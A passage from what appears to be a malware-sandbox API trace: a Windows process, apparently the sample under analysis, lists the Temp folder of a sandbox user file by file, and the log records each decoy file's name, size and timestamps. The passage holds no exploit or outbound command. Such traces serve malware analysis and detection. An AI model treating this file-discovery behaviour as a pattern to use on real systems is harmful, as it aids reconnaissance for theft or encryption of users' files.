lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0146.454] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x25 [0146.454] SetErrorMode (uMode=0x1) returned 0x0 [0146.454] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x425a4b80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x425a4b80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x425a4b80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x425a4b80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x901e5e70, ftCreationTime.dwHighDateTime=0x1d8b412, ftLastAccessTime.dwLowDateTime=0x2a155210, ftLastAccessTime.dwHighDateTime=0x1d8bd85, ftLastWriteTime.dwLowDateTime=0x2a155210, ftLastWriteTime.dwHighDateTime=0x1d8bd85, nFileSizeHigh=0x0, nFileSizeLow=0x3f63, dwReserved0=0x0, dwReserved1=0x0, cFileName="-hGbGCGVU6cYFCo TM.ots", cAlternateFileName="-HGBGC~1.OTS")) returned 1 [0146.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72ba0b70, ftCreationTime.dwHighDateTime=0x1d8ba68, ftLastAccessTime.dwLowDateTime=0xc68bcb40, ftLastAccessTime.dwHighDateTime=0x1d8bf0d, ftLastWriteTime.dwLowDateTime=0xc68bcb40, ftLastWriteTime.dwHighDateTime=0x1d8bf0d, nFileSizeHigh=0x0, nFileSizeLow=0x13561, dwReserved0=0x0, dwReserved1=0x0, cFileName="2LF4arxnURr5.bmp", cAlternateFileName="2LF4AR~1.BMP")) returned 1 [0146.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x655a18f0, ftCreationTime.dwHighDateTime=0x1d8b697, ftLastAccessTime.dwLowDateTime=0x3b10e3c0, ftLastAccessTime.dwHighDateTime=0x1d8bb75, ftLastWriteTime.dwLowDateTime=0x3b10e3c0, ftLastWriteTime.dwHighDateTime=0x1d8bb75, nFileSizeHigh=0x0, nFileSizeLow=0x16d37, dwReserved0=0x0, dwReserved1=0x0, cFileName="4n7lNBARZ3VQX4.gif", cAlternateFileName="4N7LNB~1.GIF")) returned 1 [0146.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8a97a80, ftCreationTime.dwHighDateTime=0x1d8b613, ftLastAccessTime.dwLowDateTime=0x306f97d0, ftLastAccessTime.dwHighDateTime=0x1d8bfc2, ftLastWriteTime.dwLowDateTime=0x306f97d0, ftLastWriteTime.dwHighDateTime=0x1d8bfc2, nFileSizeHigh=0x0, nFileSizeLow=0xd84c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9mfCak.swf", cAlternateFileName="")) returned 1 [0146.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc94b4f80, ftCreationTime.dwHighDateTime=0x1d8b7b1, ftLastAccessTime.dwLowDateTime=0x72826680, ftLastAccessTime.dwHighDateTime=0x1d8b8f0, ftLastWriteTime.dwLowDateTime=0x72826680, ftLastWriteTime.dwHighDateTime=0x1d8b8f0, nFileSizeHigh=0x0, nFileSizeLow=0xaff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aCctbGon8IBAj.pps", cAlternateFileName="ACCTBG~1.PPS")) returned 1 [0146.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf6e28f70, ftCreationTime.dwHighDateTime=0x1d8baf0, ftLastAccessTime.dwLowDateTime=0x68516000, ftLastAccessTime.dwHighDateTime=0x1d8bf97, ftLastWriteTime.dwLowDateTime=0x68516000, ftLastWriteTime.dwHighDateTime=0x1d8bf97, nFileSizeHigh=0x0, nFileSizeLow=0x16226, dwReserved0=0x0, dwReserved1=0x0, cFileName="avR1UifnHmhlJS.jpg", cAlternateFileName="AVR1UI~1.JPG")) returned 1 [0146.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd35975f0, ftCreationTime.dwHighDateTime=0x1d8b492, ftLastAccessTime.dwLowDateTime=0x8e377b60, ftLastAccessTime.dwHighDateTime=0x1d8b696, ftLastWriteTime.dwLowDateTime=0x8e377b60, ftLastWriteTime.dwHighDateTime=0x1d8b696, nFileSizeHigh=0x0, nFileSizeLow=0x20d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="b8T3auYtVogPw5aYbN8s.gif", cAlternateFileName="B8T3AU~1.GIF")) returned 1 [0146.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16b04ca0, ftCreationTime.dwHighDateTime=0x1d8b7a1, ftLastAccessTime.dwLowDateTime=0x2fd369b0, ftLastAccessTime.dwHighDateTime=0x1d8c084, ftLastWriteTime.dwLowDateTime=0x2fd369b0, ftLastWriteTime.dwHighDateTime=0x1d8c084, nFileSizeHigh=0x0, nFileSizeLow=0xdd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="bnJk.wav", cAlternateFileName="")) returned 1 [0146.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20adab00, ftCreationTime.dwHighDateTime=0x1d8b6c3, ftLastAccessTime.dwLowDateTime=0x150840a0, ftLastAccessTime.dwHighDateTime=0x1d8bb80, ftLastWriteTime.dwLowDateTime=0x150840a0, ftLastWriteTime.dwHighDateTime=0x1d8bb80, nFileSizeHigh=0x0, nFileSizeLow=0x911f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BpP08o7.mp4", cAlternateFileName="")) returned 1 [0146.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746e80e0, ftCreationTime.dwHighDateTime=0x1d8bb26, ftLastAccessTime.dwLowDateTime=0x9f36a570, ftLastAccessTime.dwHighDateTime=0x1d8bbab, ftLastWriteTime.dwLowDateTime=0x9f36a570, ftLastWriteTime.dwHighDateTime=0x1d8bbab, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BVT_6KRisl6.bmp", cAlternateFileName="BVT_6K~1.BMP")) returned 1 [0146.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe133d7f0, ftCreationTime.dwHighDateTime=0x1d8b0b5, ftLastAccessTime.dwLowDateTime=0x9d632940, ftLastAccessTime.dwHighDateTime=0x1d8b9cf, ftLastWriteTime.dwLowDateTime=0x9d632940, ftLastWriteTime.dwHighDateTime=0x1d8b9cf, nFileSizeHigh=0x0, nFileSizeLow=0x14dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_98-V0.png", cAlternateFileName="")) returned 1 [0146.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf8f1f80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xdf8f1f80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xdf8f1f80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMI7F1D.tmp", cAlternateFileName="")) returned 1 [0146.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb80374d0, ftCreationTime.dwHighDateTime=0x1d8b1b9, ftLastAccessTime.dwLowDateTime=0x169dbaf0, ftLastAccessTime.dwHighDateTime=0x1d8b7e1, ftLastWriteTime.dwLowDateTime=0x169dbaf0, ftLastWriteTime.dwHighDateTime=0x1d8b7e1, nFileSizeHigh=0x0, nFileSizeLow=0x18621, dwReserved0=0x0, dwReserved1=0x0, cFileName="dsXGshyj.xlsx", cAlternateFileName="DSXGSH~1.XLS")) returned 1 [0146.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf44c6050, ftCreationTime.dwHighDateTime=0x1d8c037, ftLastAccessTime.dwLowDateTime=0xf0eb1730, ftLastAccessTime.dwHighDateTime=0x1d8c0d7, ftLastWriteTime.dwLowDateTime=0xf0eb1730, ftLastWriteTime.dwHighDateTime=0x1d8c0d7, nFileSizeHigh=0x0, nFileSizeLow=0x16464, dwReserved0=0x0, dwReserved1=0x0, cFileName="dvnjFpGyCrr4q.odp", cAlternateFileName="DVNJFP~1.ODP")) returned 1 [0146.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa0b893d0, ftCreationTime.dwHighDateTime=0x1d8b9e5, ftLastAccessTime.dwLowDateTime=0xb1a0d780, ftLastAccessTime.dwHighDateTime=0x1d8bcaa, ftLastWriteTime.dwLowDateTime=0xb1a0d780, ftLastWriteTime.dwHighDateTime=0x1d8bcaa, nFileSizeHigh=0x0, nFileSizeLow=0x90d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="dvwxkOLIiLo8iOIR.pdf", cAlternateFileName="DVWXKO~1.PDF")) returned 1 [0146.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x852aa500, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x852aa500, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1 [0146.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd88e5980, ftCreationTime.dwHighDateTime=0x1d8bb38, ftLastAccessTime.dwLowDateTime=0x3e6acd00, ftLastAccessTime.dwHighDateTime=0x1d8bebe, ftLastWriteTime.dwLowDateTime=0x3e6acd00, ftLastWriteTime.dwHighDateTime=0x1d8bebe, nFileSizeHigh=0x0, nFileSizeLow=0x153f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="g5sbAjUHv.ots", cAlternateFileName="G5SBAJ~1.OTS")) returned 1 [0146.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc4b33c30, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc4bcc1b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc4bcc1b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gen_py", cAlternateFileName="")) returned 1 [0146.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf49750c0, ftCreationTime.dwHighDateTime=0x1d8c09f, ftLastAccessTime.dwLowDateTime=0x5c08fec0, ftLastAccessTime.dwHighDateTime=0x1d8c0fa, ftLastWriteTime.dwLowDateTime=0x5c08fec0, ftLastWriteTime.dwHighDateTime=0x1d8c0fa, nFileSizeHigh=0x0, nFileSizeLow=0xcb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GLzQSJpR8jSI_k58bj.gif", cAlternateFileName="GLZQSJ~1.GIF")) returned 1 [0146.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x46097060, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4aa61a60, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4d79bc60, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hsperfdata_kEecfMwgj", cAlternateFileName="HSPERF~1")) returned 1 [0146.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc06090b0, ftCreationTime.dwHighDateTime=0x1d8ba9f, ftLastAccessTime.dwLowDateTime=0x29888f50, ftLastAccessTime.dwHighDateTime=0x1d8bfde, ftLastWriteTime.dwLowDateTime=0x29888f50, ftLastWriteTime.dwHighDateTime=0x1d8bfde, nFileSizeHigh=0x0, nFileSizeLow=0x1679, dwReserved0=0x0, dwReserved1=0x0, cFileName="J8a_ vvAmxmiVa8E.pps", cAlternateFileName="J8A_VV~1.PPS")) returned 1 [0146.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dae960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x46dae960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4d7e7f20, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x301a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaDeployReg.log", cAlternateFileName="JAVADE~1.LOG")) returned 1 [0146.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48829e20, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48829e20, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48829e20, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawshtml.html", cAlternateFileName="JAWSHT~1.HTM")) returned 1 [0146.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39e96f60, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x39e96f60, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4ed2e3c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x109f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.log", cAlternateFileName="")) returned 1 [0146.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7868bc30, ftCreationTime.dwHighDateTime=0x1d8b584, ftLastAccessTime.dwLowDateTime=0x8bc3c560, ftLastAccessTime.dwHighDateTime=0x1d8b71c, ftLastWriteTime.dwLowDateTime=0x8bc3c560, ftLastWriteTime.dwHighDateTime=0x1d8b71c, nFileSizeHigh=0x0, nFileSizeLow=0xe495, dwReserved0=0x0, dwReserved1=0x0, cFileName="kZSG.png", cAlternateFileName="")) returned 1 [0146.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2865d490, ftCreationTime.dwHighDateTime=0x1d8bc99, ftLastAccessTime.dwLowDateTime=0x326b8e40, ftLastAccessTime.dwHighDateTime=0x1d8c017, ftLastWriteTime.dwLowDateTime=0x326b8e40, ftLastWriteTime.dwHighDateTime=0x1d8c017, nFileSizeHigh=0x0, nFileSizeLow=0xf141, dwReserved0=0x0, dwReserved1=0x0, cFileName="LB_0BC98.mkv", cAlternateFileName="")) returned 1 [0146.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc5d5a3f0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc5d5a3f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc5d5a3f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0146.459] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1142aa0, ftCreationTime.dwHighDateTime=0x1d8bd76, ftLastAccessTime.dwLowDateTime=0xa3980850, ftLastAccessTime.dwHighDateTime=0x1d8c0d0, ftLastWriteTime.dwLowDateTime=0xa3980850, ftLastWriteTime.dwHighDateTime=0x1d8c0d0, nFileSizeHigh=0x0, nFileSizeLow=0x695b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mVeQgxryMRkpnA_FU7d.gif", cAlternateFileName="MVEQGX~1.GIF")) returned 1 [0146.459] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a3bb6a0, ftCreationTime.dwHighDateTime=0x1d8b293, ftLastAccessTime.dwLowDateTime=0x569f2670, ftLastAccessTime.dwHighDateTime=0x1d8bd9f, ftLastWriteTime.dwLowDateTime=0x569f2670, ftLastWriteTime.dwHighDateTime=0x1d8bd9f, nFileSizeHigh=0x0, nFileSizeLow=0x18f63, dwReserved0=0x0, dwReserved1=0x0, cFileName="NsqXQZUn_WyuvS5djs1R.pptx", cAlternateFileName="NSQXQZ~1.PPT")) returned 1 [0146.459] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83d3d970, ftCreationTime.dwHighDateTime=0x1d8b8da, ftLastAccessTime.dwLowDateTime=0x1cdc9a20, ftLastAccessTime.dwHighDateTime=0x1d8bfa8, ftLastWriteTime.dwLowDateTime=0x1cdc9a20, ftLastWriteTime.dwHighDateTime=0x1d8bfa8, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nYXKcOAjd68vu.swf", cAlternateFileName="NYXKCO~1.SWF")) returned 1 [0146.459] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xf770f620, ftCreationTime.dwHighDateTime=0x1d0cb97, ftLastAccessTime.dwLowDateTime=0x3d78b2a0, ftLastAccessTime.dwHighDateTime=0x1d0cc4e, ftLastWriteTime.dwLowDateTime=0xf770f620, ftLastWriteTime.dwHighDateTime=0x1d0cb97, nFileSizeHigh=0x0, nFileSizeLow=0x318b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose00000.exe", cAlternateFileName="")) returned 1 [0146.459] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4174c1f0, ftCreationTime.dwHighDateTime=0x1d8b558, ftLastAccessTime.dwLowDateTime=0xe0014a20, ftLastAccessTime.dwHighDateTime=0x1d8bd94, ftLastWriteTime.dwLowDateTime=0xe0014a20, ftLastWriteTime.dwHighDateTime=0x1d8bd94, nFileSizeHigh=0x0, nFileSizeLow=0x44a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMhLFSYsLNsD.wav", cAlternateFileName="PMHLFS~1.WAV")) returned 1 [0146.459] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24d69600, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x24d69600, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x50833060, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x8dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q9IATRKPRH-20220803-0521.log", cAlternateFileName="Q9IATR~1.LOG")) returned 1 [0146.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35278330, ftCreationTime.dwHighDateTime=0x1d8bca4, ftLastAccessTime.dwLowDateTime=0xe8b00460, ftLastAccessTime.dwHighDateTime=0x1d8c017, ftLastWriteTime.dwLowDateTime=0xe8b00460, ftLastWriteTime.dwHighDateTime=0x1d8c017, nFileSizeHigh=0x0, nFileSizeLow=0x9a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="QLOH9.m4a", cAlternateFileName="")) returned 1 [0146.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fd7d9e0, ftCreationTime.dwHighDateTime=0x1d8b514, ftLastAccessTime.dwLowDateTime=0xd1fae820, ftLastAccessTime.dwHighDateTime=0x1d8b5d6, ftLastWriteTime.dwLowDateTime=0xd1fae820, ftLastWriteTime.dwHighDateTime=0x1d8b5d6, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDDJCl8j6jBnt16WA.wav", cAlternateFileName="RDDJCL~1.WAV")) returned 1 [0146.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa61ed240, ftCreationTime.dwHighDateTime=0x1d8b764, ftLastAccessTime.dwLowDateTime=0xfbbf9a20, ftLastAccessTime.dwHighDateTime=0x1d8b842, ftLastWriteTime.dwLowDateTime=0xfbbf9a20, ftLastWriteTime.dwHighDateTime=0x1d8b842, nFileSizeHigh=0x0, nFileSizeLow=0xf392, dwReserved0=0x0, dwReserved1=0x0, cFileName="rOHaDHD5JF.jpg", cAlternateFileName="ROHADH~1.JPG")) returned 1 [0146.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c64a830, ftCreationTime.dwHighDateTime=0x1d8b69f, ftLastAccessTime.dwLowDateTime=0xe7cf9090, ftLastAccessTime.dwHighDateTime=0x1d8b9a2, ftLastWriteTime.dwLowDateTime=0xe7cf9090, ftLastWriteTime.dwHighDateTime=0x1d8b9a2, nFileSizeHigh=0x0, nFileSizeLow=0x26ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="R_fFtR0.mkv", cAlternateFileName="")) returned 1 [0146.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad37cb40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xad37cb40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x5a2f7500, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x44f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupExe(20220803052526334).log", cAlternateFileName="SETUPE~1.LOG")) returned 1 [0146.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea97cc30, ftCreationTime.dwHighDateTime=0x1d8b1ea, ftLastAccessTime.dwLowDateTime=0x63f3580, ftLastAccessTime.dwHighDateTime=0x1d8b2ff, ftLastWriteTime.dwLowDateTime=0x63f3580, ftLastWriteTime.dwHighDateTime=0x1d8b2ff, nFileSizeHigh=0x0, nFileSizeLow=0x89fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TId-4oIeFgn RUEoVD.csv", cAlternateFileName="TID-4O~1.CSV")) returned 1 [0146.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425a4b80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x425a4b80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x425cace0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x28200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp_aSDqwd2.exe", cAlternateFileName="TMP_AS~1.EXE")) returned 1 [0146.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48b10fc0, ftCreationTime.dwHighDateTime=0x1d8bab5, ftLastAccessTime.dwLowDateTime=0x44bf650, ftLastAccessTime.dwHighDateTime=0x1d8c00b, ftLastWriteTime.dwLowDateTime=0x44bf650, ftLastWriteTime.dwHighDateTime=0x1d8c00b, nFileSizeHigh=0x0, nFileSizeLow=0x1e75, dwReserved0=0x0, dwReserved1=0x0, cFileName="u6Uw DnxW8.flv", cAlternateFileName="U6UWDN~1.FLV")) returned 1 [0146.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef9e8110, ftCreationTime.dwHighDateTime=0x1d8b762, ftLastAccessTime.dwLowDateTime=0x5d02ae60, ftLastAccessTime.dwHighDateTime=0x1d8c0b5, ftLastWriteTime.dwLowDateTime=0x5d02ae60, ftLastWriteTime.dwHighDateTime=0x1d8c0b5, nFileSizeHigh=0x0, nFileSizeLow=0xf5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UvjfaiBEC8g2bCSi-k.wav", cAlternateFileName="UVJFAI~1.WAV")) returned 1 [0146.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, 